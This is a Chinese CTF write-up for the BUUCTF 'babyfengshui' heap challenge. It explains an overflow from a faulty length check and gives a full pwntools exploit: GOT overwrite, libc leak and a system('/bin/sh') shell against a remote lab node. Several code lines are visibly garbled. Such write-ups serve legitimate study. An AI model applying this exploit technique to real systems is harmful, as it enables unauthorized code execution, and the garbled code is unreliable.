buuctf babyfengshui

阅读: 评论:0

buuctf   babyfengshui

buuctf babyfengshui

这是四个主要的函数:
add函数:

add函数的输入部分:

同时,这也是update函数,其实这个函数是有溢出的漏洞的,它对于长度的检查是有问题的,后面就会利用到这一点
delete函数:

display函数:

先随意创建几个chunk,看看布局,

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"cccc")


以第一个为例,储存text的chunk在前,后面是储存name的chunk,储存着name和chunk0的指针,再来看看程序对于输入长度的检查:

对于chunk0来说,就是0x80c008+输入长度是否大于0x804c08c,但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/shx00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

这样一步过后,新申请的chunk3会在chunk1和chunk2的前面,chunk3(name)则会在chunk1和chunk2的后面,这样就可以输入很长的数据了

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)

把chunk1(name)处存储的chunk1指针改成free_got的地址

show(1)
sh.recvuntil("description: ")
free_addr=v(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

输出free函数的地址,计算出system函数的地址

update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

把free函数的地址修改为system函数的地址,由于chunk2里存的是”/bin/sh“,这时候执行free(chunk2)就相当于执行system("/bin/sh")
完整exp:

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
sh=remote("node3.buuoj",25902)
elf=ELF('./babyfengshui_33c3_2016')
puts_got&#['puts']
free_got&#['free']def add(size,name,length,text):sh.recvuntil("Action: ")sh.sendline("0")sh.sendlineafter("size of description: ",str(size))sh.sendlineafter("name: ",vuntil("text length:")sh.sendline(str(length))sh.recvuntil("text:")sh.sendline(text)
def delete(index):sh.recvuntil("Action: ")sh.sendline("1")sh.recvuntil("index: ")sh.sendline(str(index))
def show(index):sh.recvuntil("Action: ")sh.sendline("2")sh.recvuntil("index: ")sh.sendline(str(index))
def update(index,length,text):sh.recvuntil("Action: ")sh.sendline("3")sh.recvuntil("index: ")sh.sendline(str(index))sh.recvuntil("text length: ")sh.sendline(str(length))sh.recvuntil("text: ")sh.sendline(text)add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/shx00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
sh.recvuntil("description: ")
free_addr=v(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
update(1,0x80,p32(system_addr))
delete(2)
sh.interactive()

本文发布于:2024-01-28 22:44:37,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170645308110829.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

下一篇:rec
标签:buuctf   babyfengshui
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23